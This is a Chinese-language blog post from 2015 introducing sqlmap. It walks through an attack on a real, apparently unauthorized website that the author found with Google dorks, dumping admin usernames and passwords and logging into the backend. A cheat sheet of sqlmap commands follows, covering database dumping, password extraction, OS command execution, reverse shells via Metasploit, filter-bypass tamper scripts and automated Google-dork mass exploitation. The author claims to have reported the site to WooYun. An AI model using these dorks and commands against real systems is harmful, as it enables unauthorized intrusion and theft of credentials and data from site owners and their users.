sqlmap 入门
本文写于 2015.12.11
本人是遵纪守法的好少年,已上报给乌云
这次攻击毫无技术门槛,任何人都可以复制。只因是自己的第一次嘛,大家都懂的,趁这个机会也学习了些 sqlmap 和 sql 的知识,哈哈哈哈,开心就好。
Sqlmap 是一款非常强大的开源 sql 自动化注入工具,可以用来检测和利用sql注入漏洞。它由python语言开发而成,因此需要安装python环境。
注意: sqlmap 只用来检测和利用 sql 注入点,并不能扫描出网站有哪些漏洞。
首先当然是找到目标,通过一些 Google 的搜索技巧可以找到些问题网站,下面是几个常见的:
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
通过搜索 inurl:newsDetail.php?id=
,我发现了下面这个网站。
点开,在网址最后输入一个单引号( ‘ ),出现如下错误信息,说明这个站点存在 sql 注入漏洞。
接下来利用 Sqlmap 来进行信息收集,先看几个常用的参数:
-u
:该参数后面跟注入的目标URL。–dbms
:后面是目标站点所使用的数据库类型,注意要用分号来包含。–current-user
:该参数含义是显示当前管理数据的用户,同时也会显示最终确定的数据库类型。–current-db
:显示当前连接的数据库名称。–tables
:列出当前数据库的所有的表名。-C
:指定我们要猜的字段内容,与 -dump 一起使用。-D
:指定数据库名称。–columns
:列出指定表中的字段。-v
:指定哪个字段开始列出结果,一般后面跟0。
下面开始实战。
第一步,我们来扫面当前网站的用户。
得到了数据库版本和当前用户信息。
第二步,获取当前数据库。
获取的数据库名称。
第三步,利用已知信息,结合参数“–tables”,来猜数据库中的表名。
获取的数据库中的表名。
注意:一般与网站后台相关的字段,比如“username, password, admin”等登陆相关的表名要重点关注。
第四步,在这个例子中,相关的是“dl”这个表。
得到下面这个表。
第五步,见证奇迹的时刻到了,利用参数组合获取信息。
得到下面的用户名和密码。
第六步,登陆后台后我们就大功告成了。
就这样,打完收工,好简单啊感觉。
参考资料:
- http://sqlmap.org/
- http://drops.wooyun.org/tips/143
- http://drops.wooyun.org/tips/401
基本步骤
sqlmap -u “http://url/news?id=1“ –current-user 获取当前用户名称
sqlmap -u “http://url/news?id=1“ –current-db 获取当前数据库名称
sqlmap -u “http://url/news?id=1“ –tables -D “db_name” 列表名
sqlmap -u “http://url/news?id=1“ –columns -T “tablename” -D “db_name” -v 0 列字段
sqlmap -u “http://url/news?id=1“ –dump -C “column_name” -T “table_name” -D “db_name” -v 0 获取字段内容
信息获取
sqlmap -u “http://url/news?id=1“ –smart –level 3 –users smart(智能),level(执行测试等级)
sqlmap -u “http://url/news?id=1“ –dbms “mysql” –users users列数据库用户,dbs列数据库
sqlmap -u “http://url/news?id=1“ –passwords 数据库用户密码
sqlmap -u “http://url/news?id=1“ –passwords -U root -v 0 列指定用户数据库密码
sqlmap -u “http://url/news?id=1“ –dumps -C “column_name” -T “table_name” -D “db_name” –start 1 –stop 20 列出指定字段
sqlmap -u “http://url/news?id=1“ –dump-all -v 0 列出所有数据库所有表
sqlmap -u “http://url/news?id=1“ –privileges -U root 查看指定用户权限
sqlmap -u “http://url/news?id=1“ –is-dba -v 1 是否是数据库管理员
sqlmap -u “http://url/news?id=1“ –roles 枚举数据库用户角色
sqlmap -u “http://url/news?id=1“ –udf-inject 导入用户自定义函数(获取系统权限!)
sqlmap -u “http://url/news?id=1“ –dump-all –exclude-sysdbs -v 0 列出当前库所有表
sqlmap -u “http://url/news?id=1“ –union-cols union查询表记录
sqlmap -u “http://url/news?id=1“ –cookie “COOKIE_VALUE” cookie注入
sqlmap -u “http://url/news?id=1“ –data “id=3” post注入
sqlmap -u “http://url/news?id=1“ -v 1 -f 指纹判别数据库类型
sqlmap -u “http://url/news?id=1“ –proxy “http://127.0.0.1:8118“ 代理注入
sqlmap -u “http://url/news?id=1“ –string “STRING_ON_TRUE_PAGE” 指定关键词
sqlmap -u “http://url/news?id=1“ –sql-shell 执行指定sql命令
sqlmap -u “http://url/news?id=1“ –os-cmd=whoami 执行系统命令
sqlmap -u “http://url/news?id=1“ –os-shell 系统交换shell
sqlmap -u “http://url/news?id=1“ –os-pwn 反弹shell
sqlmap -u “http://url/news?id=1“ –reg-read 读取windows系统注册表
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度
sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” –resume 恢复已保存进度
sqlmap -u “http://url/news?id=1“ –msf-path=/…/msf2 –os-pwn 反弹shell需要metasploit路径
sqlmap -u “http://url/news?id=1“ –tamper “base64encode.py” 加载脚本(可利用绕过注入限制)
sqlmap -g “google语法” –dump-all –batch google搜索注入点自动跑出所有字段
Comments